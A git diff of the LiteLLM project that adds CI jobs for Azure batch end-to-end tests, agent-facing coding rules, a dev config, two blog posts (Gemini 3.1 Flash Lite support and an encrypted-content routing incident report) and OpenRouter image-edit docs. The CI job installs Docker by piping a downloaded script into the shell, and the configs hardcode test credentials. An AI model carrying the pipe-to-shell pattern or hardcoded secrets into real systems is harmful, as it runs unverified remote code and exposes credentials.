diff --git a/.circleci/config.yml b/.circleci/config.yml index c9407162649..544a5a1eed1 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -3689,6 +3689,114 @@ jobs: - store_test_results: path: test-results + proxy_e2e_azure_batches_tests: + machine: + image: ubuntu-2204:2023.10.1 + resource_class: xlarge + working_directory: ~/project + steps: + - checkout + - setup_google_dns + - run: + name: Install Docker CLI + command: | + curl -fsSL https://get.docker.com | sh + sudo usermod -aG docker $USER + docker version + - run: + name: Install Python 3.12 + command: | + curl https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh --output miniconda.sh + bash miniconda.sh -b -p $HOME/miniconda + export PATH="$HOME/miniconda/bin:$PATH" + conda init bash + source ~/.bashrc + conda create -n myenv python=3.12 -y + conda activate myenv + python --version + - run: + name: Install Poetry + command: | + export PATH="$HOME/miniconda/bin:$PATH" + source $HOME/miniconda/etc/profile.d/conda.sh + conda activate myenv + pip install poetry + - run: + name: Install dockerize + command: | + wget https://github.com/jwilder/dockerize/releases/download/v0.6.1/dockerize-linux-amd64-v0.6.1.tar.gz + sudo tar -C /usr/local/bin -xzvf dockerize-linux-amd64-v0.6.1.tar.gz + rm dockerize-linux-amd64-v0.6.1.tar.gz + - run: + name: Start PostgreSQL Database + command: | + docker run -d \ + --name postgres-db \ + -e POSTGRES_USER=llmproxy \ + -e POSTGRES_PASSWORD=dbpassword9090 \ + -e POSTGRES_DB=litellm \ + -p 5432:5432 \ + postgres:15 + - run: + name: Wait for PostgreSQL to be ready + command: dockerize -wait tcp://localhost:5432 -timeout 1m + - run: + name: Install system dependencies + command: | + sudo apt-get update -y + sudo apt-get install -y libpq-dev + - run: + name: Install Dependencies + command: | + export PATH="$HOME/miniconda/bin:$PATH" + source $HOME/miniconda/etc/profile.d/conda.sh + conda activate myenv + poetry config virtualenvs.in-project true + poetry install --with dev,proxy-dev --extras "proxy" + poetry run pip install psycopg2-binary uvicorn fastapi httpx tenacity + - run: + name: Setup litellm-enterprise + command: | + export PATH="$HOME/miniconda/bin:$PATH" + source $HOME/miniconda/etc/profile.d/conda.sh + conda activate myenv + poetry run pip install --force-reinstall --no-deps -e enterprise/ + - run: + name: Generate Prisma client + command: | + export PATH="$HOME/miniconda/bin:$PATH" + source $HOME/miniconda/etc/profile.d/conda.sh + conda activate myenv + poetry run prisma generate --schema litellm/proxy/schema.prisma + - run: + name: Run Prisma migrations + command: | + export PATH="$HOME/miniconda/bin:$PATH" + source $HOME/miniconda/etc/profile.d/conda.sh + conda activate myenv + export DATABASE_URL=postgresql://llmproxy:dbpassword9090@localhost:5432/litellm + cd litellm/proxy + poetry run prisma migrate deploy --schema schema.prisma + cd ../.. + - run: + name: Run Azure Batch E2E Tests + command: | + export PATH="$HOME/miniconda/bin:$PATH" + source $HOME/miniconda/etc/profile.d/conda.sh + conda activate myenv + export DATABASE_URL=postgresql://llmproxy:dbpassword9090@localhost:5432/litellm + export USE_LOCAL_LITELLM=true + export USE_MOCK_MODELS=true + export USE_STATE_TRACKER=true + export LITELLM_LOG=DEBUG + poetry run pytest tests/proxy_e2e_azure_batches_tests/test_proxy_e2e_azure_batches.py \ + -vv -s -k "test_e2e_managed_batch" \ + --tb=short \ + --maxfail=3 \ + --durations=10 \ + --junitxml=test-results/junit.xml + no_output_timeout: 30m + upload-coverage: docker: - image: cimg/python:3.9 @@ -4458,6 +4566,12 @@ workflows: only: - main - /litellm_.*/ + - proxy_e2e_azure_batches_tests: + filters: + branches: + only: + - main + - /litellm_.*/ - llm_translation_testing: filters: branches: diff --git a/.github/workflows/test-litellm.yml b/.github/workflows/test-litellm.yml index cf6928897be..3f8369df926 100644 --- a/.github/workflows/test-litellm.yml +++ b/.github/workflows/test-litellm.yml @@ -38,7 +38,7 @@ jobs: poetry run pip install "google-genai==1.22.0" poetry run pip install "google-cloud-aiplatform>=1.38" poetry run pip install "fastapi-offline==1.7.3" - poetry run pip install "python-multipart==0.0.22" + poetry run pip install "python-multipart>=0.0.20" poetry run pip install "openapi-core" - name: Setup litellm-enterprise as local package run: | diff --git a/.github/workflows/test-proxy-e2e-azure-batches.yml b/.github/workflows/test-proxy-e2e-azure-batches.yml new file mode 100644 index 00000000000..38d436dc1f3 --- /dev/null +++ b/.github/workflows/test-proxy-e2e-azure-batches.yml @@ -0,0 +1,90 @@ +name: Proxy E2E Azure Batches Tests + +on: + pull_request: + branches: [main] + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true + +jobs: + proxy_e2e_azure_batches_tests: + runs-on: ubuntu-latest + timeout-minutes: 30 + + services: + postgres: + image: postgres:15 + env: + POSTGRES_USER: llmproxy + POSTGRES_PASSWORD: dbpassword9090 + POSTGRES_DB: litellm + ports: + - 5432:5432 + options: >- + --health-cmd pg_isready + --health-interval 10s + --health-timeout 5s + --health-retries 5 + + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install Poetry + uses: snok/install-poetry@v1 + + - name: Cache Poetry dependencies + uses: actions/cache@v4 + with: + path: | + ~/.cache/pypoetry + ~/.cache/pip + .venv + key: ${{ runner.os }}-poetry-e2e-batches-${{ hashFiles('poetry.lock') }} + restore-keys: | + ${{ runner.os }}-poetry-e2e-batches- + ${{ runner.os }}-poetry- + + - name: Install dependencies + run: | + poetry config virtualenvs.in-project true + poetry install --with dev,proxy-dev --extras "proxy" + poetry run pip install psycopg2-binary uvicorn fastapi httpx + + - name: Setup litellm-enterprise + run: | + poetry run pip install --force-reinstall --no-deps -e enterprise/ + + - name: Generate Prisma client + run: | + poetry run prisma generate --schema litellm/proxy/schema.prisma + + - name: Run Prisma migrations + env: + DATABASE_URL: postgresql://llmproxy:dbpassword9090@localhost:5432/litellm + run: | + cd litellm/proxy + poetry run prisma migrate deploy --schema schema.prisma + cd ../.. + + - name: Run Azure Batch E2E Tests + env: + DATABASE_URL: postgresql://llmproxy:dbpassword9090@localhost:5432/litellm + USE_LOCAL_LITELLM: "true" + USE_MOCK_MODELS: "true" + USE_STATE_TRACKER: "true" + LITELLM_LOG: DEBUG + run: | + poetry run pytest tests/proxy_e2e_azure_batches_tests/test_proxy_e2e_azure_batches.py \ + -vv -s -k "test_e2e_managed_batch" \ + --tb=short \ + --maxfail=3 \ + --durations=10 + diff --git a/AGENTS.md b/AGENTS.md index d43f41dbe30..546f2997bf5 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -109,6 +109,8 @@ Key files: - `litellm/proxy/auth/` - Authentication logic - `litellm/proxy/management_endpoints/` - Admin API endpoints +**Database (proxy)**: Use Prisma model methods (`prisma_client.db..upsert`, `.find_many`, `.find_unique`, etc.), not raw SQL (`execute_raw`/`query_raw`). See COMMON PITFALLS for details. + ## MCP (MODEL CONTEXT PROTOCOL) SUPPORT LiteLLM supports MCP for agent workflows: @@ -176,6 +178,7 @@ When opening issues or pull requests, follow these templates: 5. **Dependencies**: Keep dependencies minimal and well-justified 6. **UI/Backend Contract Mismatch**: When adding a new entity type to the UI, always check whether the backend endpoint accepts a single value or an array. Match the UI control accordingly (single-select vs. multi-select) to avoid silently dropping user selections 7. **Missing Tests for New Entity Types**: When adding a new entity type (e.g., in `EntityUsage`, `UsageViewSelect`), always add corresponding tests in the existing test files and update any icon/component mocks +8. **Raw SQL in proxy DB code**: Do not use `execute_raw` or `query_raw` for proxy database access. Use Prisma model methods (e.g. `prisma_client.db.litellm_tooltable.upsert()`, `.find_many()`, `.find_unique()`) so behavior stays consistent with the schema, the client stays mockable in tests, and you avoid the pitfalls of hand-written SQL (parameter ordering, type casting, schema drift) 8. **Do not hardcode model-specific flags**: Put model-specific capability flags in `model_prices_and_context_window.json` and read them via `get_model_info` (or existing helpers like `supports_reasoning`). This prevents users from needing to upgrade LiteLLM each time a new model supports a feature. diff --git a/CLAUDE.md b/CLAUDE.md index 3b597fb8a90..c1eb75d2515 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -107,6 +107,10 @@ LiteLLM is a unified interface for 100+ LLM providers with two main components: - Migration files auto-generated with `prisma migrate dev` - Always test migrations against both PostgreSQL and SQLite +### Proxy database access +- **Do not write raw SQL** for proxy DB operations. Use Prisma model methods instead of `execute_raw` / `query_raw`. +- Use the generated client: `prisma_client.db.` (e.g. `litellm_tooltable`, `litellm_usertable`) with `.upsert()`, `.find_many()`, `.find_unique()`, `.update()`, `.update_many()` as appropriate. This avoids schema/client drift, keeps code testable with simple mocks, and matches patterns used in spend logs and other proxy code. + ### Enterprise Features - Enterprise-specific code in `enterprise/` directory - Optional features enabled via environment variables diff --git a/dev_config.yaml b/dev_config.yaml new file mode 100644 index 00000000000..64e3c14703e --- /dev/null +++ b/dev_config.yaml @@ -0,0 +1,13 @@ +model_list: + - model_name: fake-openai-endpoint + litellm_params: + model: openai/fake-model + api_key: fake-key + api_base: https://exampleopenaiendpoint-production.up.railway.app/ + +general_settings: + master_key: sk-1234 + +litellm_settings: + drop_params: True + telemetry: False diff --git a/docs/my-website/blog/gemini_3_1_flash_lite/index.md b/docs/my-website/blog/gemini_3_1_flash_lite/index.md new file mode 100644 index 00000000000..9ef4bacb2ad --- /dev/null +++ b/docs/my-website/blog/gemini_3_1_flash_lite/index.md @@ -0,0 +1,175 @@ +--- +slug: gemini_3_1_flash_lite_preview +title: "DAY 0 Support: Gemini 3.1 Flash Lite Preview on LiteLLM" +date: 2026-03-03T08:00:00 +authors: + - name: Sameer Kankute + title: SWE @ LiteLLM (LLM Translation) + url: https://www.linkedin.com/in/sameer-kankute/ + image_url: https://pbs.twimg.com/profile_images/2001352686994907136/ONgNuSk5_400x400.jpg + - name: Krrish Dholakia + title: "CEO, LiteLLM" + url: https://www.linkedin.com/in/krish-d/ + image_url: https://pbs.twimg.com/profile_images/1298587542745358340/DZv3Oj-h_400x400.jpg + - name: Ishaan Jaff + title: "CTO, LiteLLM" + url: https://www.linkedin.com/in/reffajnaahsi/ + image_url: https://pbs.twimg.com/profile_images/1613813310264340481/lz54oEiB_400x400.jpg +description: "Guide to using Gemini 3.1 Flash Lite Preview on LiteLLM Proxy and SDK with day 0 support." +tags: [gemini, day 0 support, llms, supernova] +hide_table_of_contents: false +--- + + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; + +# Gemini 3.1 Flash Lite Preview Day 0 Support + +LiteLLM now supports `gemini-3.1-flash-lite-preview` with full day 0 support! + +:::note +If you only want cost tracking, you need no change in your current Litellm version. But if you want the support for new features introduced along with it like thinking levels, you will need to use v1.80.8-stable.1 or above. +::: + +## Deploy this version + + + + +``` showLineNumbers title="docker run litellm" +docker run \ +-e STORE_MODEL_IN_DB=True \ +-p 4000:4000 \ +ghcr.io/berriai/litellm:main-v1.80.8-stable.1 +``` + + + + + +``` showLineNumbers title="pip install litellm" +pip install litellm==v1.80.8-stable.1 +``` + + + + +## What's New + +Supports all four thinking levels: +- **MINIMAL**: Ultra-fast responses with minimal reasoning +- **LOW**: Simple instruction following +- **MEDIUM**: Balanced reasoning for complex tasks +- **HIGH**: Maximum reasoning depth (dynamic) + +--- + +## Quick Start + + + + +**Basic Usage** + +```python +from litellm import completion + +response = completion( + model="gemini/gemini-3.1-flash-lite-preview", + messages=[{"role": "user", "content": "Extract key entities from this text: ..."}], +) + +print(response.choices[0].message.content) +``` + +**With Thinking Levels** + +```python +from litellm import completion + +# Use MEDIUM thinking for complex reasoning tasks +response = completion( + model="gemini/gemini-3.1-flash-lite-preview", + messages=[{"role": "user", "content": "Analyze this dataset and identify patterns"}], + reasoning_effort="medium", # low, medium , high +) + +print(response.choices[0].message.content) +``` + + + + + +**1. Setup config.yaml** + +```yaml +model_list: + - model_name: gemini-3.1-flash-lite + litellm_params: + model: gemini/gemini-3.1-flash-lite-preview + api_key: os.environ/GEMINI_API_KEY + + # Or use Vertex AI + - model_name: vertex-gemini-3.1-flash-lite + litellm_params: + model: vertex_ai/gemini-3.1-flash-lite-preview + vertex_project: your-project-id + vertex_location: us-central1 +``` + +**2. Start proxy** + +```bash +litellm --config /path/to/config.yaml +``` + +**3. Make requests** + +```bash +curl -X POST http://localhost:4000/v1/chat/completions \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer " \ + -d '{ + "model": "gemini-3.1-flash-lite", + "messages": [{"role": "user", "content": "Extract structured data from this text"}], + "reasoning_effort": "low" + }' +``` + + + + +--- + +## Supported Endpoints + +LiteLLM provides **full end-to-end support** for Gemini 3.1 Flash Lite Preview on: + +- ✅ `/v1/chat/completions` - OpenAI-compatible chat completions endpoint +- ✅ `/v1/responses` - OpenAI Responses API endpoint (streaming and non-streaming) +- ✅ [`/v1/messages`](../../docs/anthropic_unified) - Anthropic-compatible messages endpoint +- ✅ `/v1/generateContent` – [Google Gemini API](../../docs/generateContent.md) compatible endpoint + +All endpoints support: +- Streaming and non-streaming responses +- Function calling with thought signatures +- Multi-turn conversations +- All Gemini 3-specific features (thinking levels, thought signatures) +- Full multimodal support (text, image, audio, video) + +--- + +## `reasoning_effort` Mapping for Gemini 3.1 + +LiteLLM automatically maps OpenAI's `reasoning_effort` parameter to Gemini's `thinkingLevel`: + +| reasoning_effort | thinking_level | Use Case | +|------------------|----------------|----------| +| `minimal` | `minimal` | Ultra-fast responses, simple queries | +| `low` | `low` | Basic instruction following | +| `medium` | `medium` | Balanced reasoning for moderate complexity | +| `high` | `high` | Maximum reasoning depth, complex problems | +| `disable` | `minimal` | Disable extended reasoning | +| `none` | `minimal` | No extended reasoning | \ No newline at end of file diff --git a/docs/my-website/blog/responses_api_encrypted_content_incident/index.md b/docs/my-website/blog/responses_api_encrypted_content_incident/index.md new file mode 100644 index 00000000000..19b55898caa --- /dev/null +++ b/docs/my-website/blog/responses_api_encrypted_content_incident/index.md @@ -0,0 +1,321 @@ +--- +slug: responses-api-encrypted-content-incident +title: "Incident Report: Encrypted Content Failures in Multi-Region Responses API Load Balancing" +date: 2026-02-24T10:00:00 +authors: + - name: Sameer Kankute + title: SWE @ LiteLLM (LLM Translation) + url: https://www.linkedin.com/in/sameer-kankute/ + image_url: https://pbs.twimg.com/profile_images/2001352686994907136/ONgNuSk5_400x400.jpg + - name: Krrish Dholakia + title: "CEO, LiteLLM" + url: https://www.linkedin.com/in/krish-d/ + image_url: https://pbs.twimg.com/profile_images/1298587542745358340/DZv3Oj-h_400x400.jpg + - name: Ishaan Jaff + title: "CTO, LiteLLM" + url: https://www.linkedin.com/in/reffajnaahsi/ + image_url: https://pbs.twimg.com/profile_images/1613813310264340481/lz54oEiB_400x400.jpg +tags: [incident-report, proxy, responses-api, load-balancing] +hide_table_of_contents: false +--- + +**Date:** Feb 24, 2026 +**Duration:** Ongoing (until fix deployed) +**Severity:** High (for users load balancing Responses API across different API keys) +**Status:** Resolved + +## Summary + +When load balancing OpenAI's Responses API across deployments with **different API keys** (e.g., different Azure regions or OpenAI organizations), follow-up requests containing encrypted content items (like `rs_...` reasoning items) would fail with: + +```json +{ + "error": { + "message": "The encrypted content for item rs_0d09d6e56879e76500699d6feee41c8197bd268aae76141f87 could not be verified. Reason: Encrypted content organization_id did not match the target organization.", + "type": "invalid_request_error", + "code": "invalid_encrypted_content" + } +} +``` + +Encrypted content items are cryptographically tied to the API key's organization that created them. When the router load balanced a follow-up request to a deployment with a different API key, decryption failed. + +- **Responses API calls with encrypted content:** Complete failure when routed to wrong deployment +- **Initial requests:** Unaffected — only follow-up requests containing encrypted items failed +- **Other API endpoints:** No impact — chat completions, embeddings, etc. functioned normally + +{/* truncate */} + +--- + +## Background + +OpenAI's Responses API can return encrypted "reasoning items" (with IDs like `rs_...`) that contain intermediate reasoning steps. These items are encrypted with the organization's key and can only be decrypted by the same organization's API key. + +When load balancing across deployments with different API keys, the existing affinity mechanisms were insufficient: + +- **`responses_api_deployment_check`**: Requires `previous_response_id` which some clients (like Codex) don't provide +- **`deployment_affinity`**: Too broad — pins *all* requests from a user to one deployment, reducing effective quota by the number of users +- **`session_affinity`**: Requires explicit session IDs and still reduces quota + +```mermaid +flowchart TD + A["1. Initial request to Responses API + router.aresponses()"] --> B["2. Router load balances to Deployment A + (API Key 1, Azure East US)"] + B --> C["3. Response contains encrypted item + rs_abc123 (encrypted with Org 1 key)"] + C --> D["4. Follow-up request includes rs_abc123 in input"] + D --> E["5. Router load balances to Deployment B + (API Key 2, Azure West Europe)"] + E -->|"Different API key"| F["6. ❌ Deployment B cannot decrypt rs_abc123 + Error: invalid_encrypted_content"] + + D -.->|"With encrypted_content_affinity"| G["5b. Router detects rs_abc123 was created by Deployment A"] + G --> H["6b. ✅ Routes to Deployment A (bypasses rate limits) + Request succeeds"] + + style F fill:#f8d7da,stroke:#dc3545 + style H fill:#d4edda,stroke:#28a745 + style E fill:#fff3cd,stroke:#ffc107 + style G fill:#d4edda,stroke:#28a745 +``` + +--- + +## Root Cause + +LiteLLM's router had no mechanism to track which deployment created specific encrypted content items and route follow-up requests accordingly. The router treated all deployments as interchangeable, leading to decryption failures when encrypted content crossed organizational boundaries. + +**The Problem Flow:** + +1. User calls `router.aresponses()` with model `gpt-5.1-codex` +2. Router load balances to Deployment A (Azure East US, API Key 1) +3. Response contains encrypted reasoning item `rs_abc123` (encrypted with Org 1's key) +4. User makes follow-up request with `rs_abc123` in the input +5. Router load balances to Deployment B (Azure West Europe, API Key 2) +6. Deployment B tries to decrypt `rs_abc123` with Org 2's key → **fails** + +**Why Existing Solutions Didn't Work:** + +- **`previous_response_id`**: Not provided by all clients (e.g., Codex) +- **`deployment_affinity`**: Pins *all* user requests to one deployment → reduces quota to 1/N where N = number of deployments +- **`session_affinity`**: Requires explicit session management and still reduces quota + +**Timeline:** + +1. Users configured multi-region Responses API load balancing with different API keys +2. Initial requests succeeded, but follow-up requests with encrypted content failed intermittently +3. Error rate correlated with number of deployments (more deployments = higher chance of routing to wrong one) +4. Investigation revealed encrypted content was organization-bound +5. Existing affinity mechanisms deemed unsuitable (quota reduction, missing `previous_response_id`) +6. New solution designed and implemented: `encrypted_content_affinity` + +--- + +## The Fix + +Implemented a new `encrypted_content_affinity` pre-call check that intelligently tracks encrypted content and routes follow-up requests **only when necessary**. + +### Implementation + +**1. Encoding `model_id` into output items** ([`responses/utils.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/responses/utils.py)) + +The same approach used for `previous_response_id` affinity — no cache needed. When a response contains output items with `encrypted_content`, LiteLLM encodes the originating deployment's `model_id` in **two places** for redundancy: + +1. **Into the item ID** (if present): `rs_abc123` → `encitem_{base64("litellm:model_id:{model_id};item_id:rs_abc123")}` +2. **Into the encrypted_content itself**: Wraps the content with `litellm_enc:{base64("model_id:{model_id}")};{original_encrypted_content}` + +```python +# Encoding item IDs (when present) +def _build_encrypted_item_id(model_id: str, item_id: str) -> str: + assembled = f"litellm:model_id:{model_id};item_id:{item_id}" + encoded = base64.b64encode(assembled.encode("utf-8")).decode("utf-8") + return f"encitem_{encoded}" + +# Wrapping encrypted_content (always, for redundancy) +def _wrap_encrypted_content_with_model_id(encrypted_content: str, model_id: str) -> str: + metadata = f"model_id:{model_id}" + encoded_metadata = base64.b64encode(metadata.encode("utf-8")).decode("utf-8") + return f"litellm_enc:{encoded_metadata};{encrypted_content}" +``` + +**Why wrap encrypted_content directly?** Some clients (like Codex) don't consistently send item IDs in follow-up requests, but they always send the `encrypted_content` itself. By embedding `model_id` into the content, affinity works even when IDs are missing. + +**Streaming responses:** The wrapping logic is applied to both: +- Final response objects (non-streaming) +- Individual streaming events (`response.output_item.added`, `response.output_item.done`) + +This ensures clients receiving streaming responses get wrapped content they can send back. + +Before forwarding to the upstream provider, LiteLLM restores the original item IDs and unwraps encrypted_content so the provider never sees the encoded form: + +```python +# In responses/main.py — before calling the handler +input = ResponsesAPIRequestUtils._restore_encrypted_content_item_ids_in_input(input) +``` + +**2. `EncryptedContentAffinityCheck` — routing only** ([`encrypted_content_affinity_check.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/router_utils/pre_call_checks/encrypted_content_affinity_check.py)) + +No `async_log_success_event` or cache lookups — the `model_id` is decoded directly from the item ID or encrypted_content: + +```python +class EncryptedContentAffinityCheck(CustomLogger): + async def async_filter_deployments(self, model, healthy_deployments, ...): + """Extract model_id from input items (ID or encrypted_content) and pin to that deployment.""" + for item in request_kwargs.get("input", []): + # Try to extract model_id from two sources: + model_id = self._extract_model_id_from_input(item) + + if model_id: + deployment = self._find_deployment_by_model_id( + healthy_deployments, model_id + ) + if deployment: + request_kwargs["_encrypted_content_affinity_pinned"] = True + return [deployment] + return healthy_deployments + + def _extract_model_id_from_input(self, item: dict) -> Optional[str]: + """Extract model_id from either encoded ID or wrapped encrypted_content.""" + # 1. Try decoding from item ID (if present) + item_id = item.get("id", "") + if item_id: + decoded = ResponsesAPIRequestUtils._decode_encrypted_item_id(item_id) + if decoded: + return decoded["model_id"] + + # 2. Try unwrapping from encrypted_content (fallback for clients that omit IDs) + encrypted_content = item.get("encrypted_content", "") + if encrypted_content and encrypted_content.startswith("litellm_enc:"): + model_id, _ = ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id( + encrypted_content + ) + return model_id + + return None +``` + +**3. Rate Limit Bypass** ([`router.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/router.py)) + +When encrypted content requires a specific deployment, RPM/TPM limits are bypassed (the request would fail on any other deployment anyway): + +```python +# In async_get_available_deployment, after filtering healthy deployments: +if ( + request_kwargs.get("_encrypted_content_affinity_pinned") + and len(healthy_deployments) == 1 +): + return healthy_deployments[0] # Bypass routing strategy (RPM/TPM checks) +``` + +**3. Configuration** + +```yaml +router_settings: + routing_strategy: usage-based-routing-v2 + enable_pre_call_checks: true + optional_pre_call_checks: + - encrypted_content_affinity + deployment_affinity_ttl_seconds: 86400 # 24 hours +``` + +### Key Benefits + +✅ **No quota reduction**: Only pins requests containing encrypted items +✅ **Bypasses rate limits**: When encrypted content requires a specific deployment, RPM/TPM limits don't block it +✅ **No `previous_response_id` required**: Works by encoding `model_id` directly into the item ID +✅ **No cache required**: `model_id` is decoded on-the-fly from the item ID — no Redis, no TTL +✅ **Globally safe**: Can be enabled for all models; non-Responses-API calls are unaffected +✅ **Surgical precision**: Normal requests continue to load balance freely + +--- + +## Remediation + +| # | Action | Status | Code | +|---|---|---|---| +| 1 | Encode `model_id` into encrypted-content item IDs on response | ✅ Done | [`responses/utils.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/responses/utils.py) | +| 2 | Restore original item IDs before forwarding to upstream provider | ✅ Done | [`responses/main.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/responses/main.py) | +| 3 | `EncryptedContentAffinityCheck`: decode item IDs to route (no cache) | ✅ Done | [`encrypted_content_affinity_check.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/router_utils/pre_call_checks/encrypted_content_affinity_check.py) | +| 4 | Add `encrypted_content_affinity` to `OptionalPreCallChecks` type | ✅ Done | [`types/router.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/types/router.py) | +| 5 | Implement rate limit bypass for affinity-pinned requests | ✅ Done | [`router.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/router.py) | +| 6 | Unit tests: encoding/decoding utilities, routing, RPM bypass | ✅ Done | [`test_encrypted_content_affinity_check.py`](https://github.com/BerriAI/litellm/blob/main/litellm/tests/test_litellm/router_utils/pre_call_checks/test_encrypted_content_affinity_check.py) | +| 7 | Documentation: Responses API guide, load balancing guide, config reference | ✅ Done | [Docs](https://docs.litellm.ai/docs/response_api#encrypted-content-affinity-multi-region-load-balancing) | +| 8 | **[Mar 3]** Fix streaming events to wrap encrypted_content | ✅ Done | [`responses/streaming_iterator.py`](https://github.com/BerriAI/litellm/blob/main/litellm/litellm/responses/streaming_iterator.py) | + +--- + +## Follow-up Fix: Streaming Responses (Mar 3, 2026) + +### The Issue + +After the initial fix was deployed, users reported that the `invalid_encrypted_content` error **still occurred** when using streaming responses with clients like Codex. Investigation revealed: + +- ✅ Non-streaming responses: `encrypted_content` was correctly wrapped with `litellm_enc:` prefix +- ❌ Streaming responses: Individual `response.output_item.added` and `response.output_item.done` events contained **raw, unwrapped** `encrypted_content` + +Since Codex and other clients consume responses as streams, they received unwrapped content in these events and sent it back in follow-up requests, causing the affinity check to fail. + +### The Root Cause + +The `_update_encrypted_content_item_ids_in_response` function only modified the **final** response object, which is used for non-streaming responses. For streaming responses, individual chunks are processed by `ResponsesAPIStreamingIterator._process_chunk`, which was **not** applying the wrapping logic to streaming events. + +### The Fix + +Modified `litellm/litellm/responses/streaming_iterator.py` to wrap `encrypted_content` in streaming events: + +```python +# In ResponsesAPIStreamingIterator._process_chunk +if ( + self.litellm_metadata + and self.litellm_metadata.get("encrypted_content_affinity_enabled") +): + event_type = getattr(openai_responses_api_chunk, "type", None) + if event_type in ( + ResponsesAPIStreamEvents.OUTPUT_ITEM_ADDED, + ResponsesAPIStreamEvents.OUTPUT_ITEM_DONE, + ): + item = getattr(openai_responses_api_chunk, "item", None) + if item: + encrypted_content = getattr(item, "encrypted_content", None) + if encrypted_content and isinstance(encrypted_content, str): + model_id = ( + self.litellm_metadata.get("model_info", {}).get("id") + if self.litellm_metadata + else None + ) + if model_id: + wrapped_content = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + encrypted_content, model_id + ) + setattr(item, "encrypted_content", wrapped_content) +``` + +This ensures that **all** `encrypted_content` sent to clients (streaming or non-streaming) is wrapped with `model_id` metadata, enabling consistent affinity routing. + +--- + +## Migration Guide + +### Before (Using `deployment_affinity`) + +```yaml +router_settings: + optional_pre_call_checks: + - deployment_affinity # ❌ Reduces quota by number of users +``` + +**Problem:** All requests from a user pin to one deployment, reducing effective quota to 1/N. + +### After (Using `encrypted_content_affinity`) + +```yaml +router_settings: + optional_pre_call_checks: + - encrypted_content_affinity # ✅ Only pins requests with encrypted content +``` + +**Benefit:** Normal requests load balance freely, only encrypted content requests pin when necessary. + +--- diff --git a/docs/my-website/docs/image_edits.md b/docs/my-website/docs/image_edits.md index a8438334542..f1cfc0ed8e9 100644 --- a/docs/my-website/docs/image_edits.md +++ b/docs/my-website/docs/image_edits.md @@ -16,7 +16,7 @@ LiteLLM provides image editing functionality that maps to OpenAI's `/images/edit | Supported operations | Create image edits | Single and multiple images supported | | Supported LiteLLM SDK Versions | 1.63.8+ | Gemini support requires 1.79.3+ | | Supported LiteLLM Proxy Versions | 1.71.1+ | Gemini support requires 1.79.3+ | -| Supported LLM providers | **OpenAI**, **Gemini (Google AI Studio)**, **Vertex AI**, **Stability AI**, **AWS Bedrock (Stability)** | Gemini supports the new `gemini-2.5-flash-image` family. Vertex AI supports both Gemini and Imagen models. Stability AI and Bedrock Stability support various image editing operations. | +| Supported LLM providers | **OpenAI**, **Gemini (Google AI Studio)**, **Vertex AI**, **OpenRouter**, **Stability AI**, **AWS Bedrock (Stability)** | Gemini supports the new `gemini-2.5-flash-image` family. Vertex AI supports both Gemini and Imagen models. OpenRouter routes image edits through chat completions. Stability AI and Bedrock Stability support various image editing operations. | #### ⚡️See all supported models and providers at [models.litellm.ai](https://models.litellm.ai/) @@ -244,6 +244,47 @@ response = litellm.image_edit( print(response) ``` + + + + +#### Basic Image Edit +```python showLineNumbers title="OpenRouter Image Edit" +import os +from litellm import image_edit + +os.environ["OPENROUTER_API_KEY"] = "your-api-key" + +response = image_edit( + model="openrouter/google/gemini-2.5-flash-image", + image=open("original_image.png", "rb"), + prompt="Add aurora borealis to the night sky", +) + +print(response) +``` + +#### Multiple Images Edit +```python showLineNumbers title="OpenRouter Multiple Images Edit" +import os +from litellm import image_edit + +os.environ["OPENROUTER_API_KEY"] = "your-api-key" + +response = image_edit( + model="openrouter/google/gemini-2.5-flash-image", + image=[ + open("scene.png", "rb"), + open("style_reference.png", "rb"), + ], + prompt="Blend the reference style into the scene", + size="1536x1024", # mapped to aspect_ratio 3:2 + quality="high", # mapped to image_size 4K +) + +print(response) +``` + @@ -398,6 +439,34 @@ curl -X POST "http://0.0.0.0:4000/v1/images/edits" \ -F "size=1024x1024" ``` + + + + +1. Add the OpenRouter image edit model to your `config.yaml`: +```yaml showLineNumbers title="OpenRouter Proxy Configuration" +model_list: + - model_name: openrouter-image-edit + litellm_params: + model: openrouter/google/gemini-2.5-flash-image + api_key: os.environ/OPENROUTER_API_KEY +``` + +2. Start the LiteLLM proxy server: +```bash showLineNumbers title="Start LiteLLM Proxy Server" +litellm --config /path/to/config.yaml +``` + +3. Make an image edit request: +```bash showLineNumbers title="OpenRouter Proxy Image Edit" +curl -X POST "http://0.0.0.0:4000/v1/images/edits" \ + -H "Authorization: Bearer " \ + -F "model=openrouter-image-edit" \ + -F "image=@original_image.png" \ + -F "prompt=Make the sky a vibrant purple sunset" \ + -F "size=1024x1024" +``` + diff --git a/docs/my-website/docs/providers/gemini.md b/docs/my-website/docs/providers/gemini.md index 6de2263916c..f97f025c19b 100644 --- a/docs/my-website/docs/providers/gemini.md +++ b/docs/my-website/docs/providers/gemini.md @@ -2041,6 +2041,7 @@ response = litellm.completion( | gemini-2.0-flash-lite-preview-02-05 | `completion(model='gemini/gemini-2.0-flash-lite-preview-02-05', messages)` | `os.environ['GEMINI_API_KEY']` | | gemini-2.5-flash-preview-09-2025 | `completion(model='gemini/gemini-2.5-flash-preview-09-2025', messages)` | `os.environ['GEMINI_API_KEY']` | | gemini-2.5-flash-lite-preview-09-2025 | `completion(model='gemini/gemini-2.5-flash-lite-preview-09-2025', messages)` | `os.environ['GEMINI_API_KEY']` | +| gemini-3.1-flash-lite-preview | `completion(model='gemini/gemini-3.1-flash-lite-preview', messages)` | `os.environ['GEMINI_API_KEY']` | | 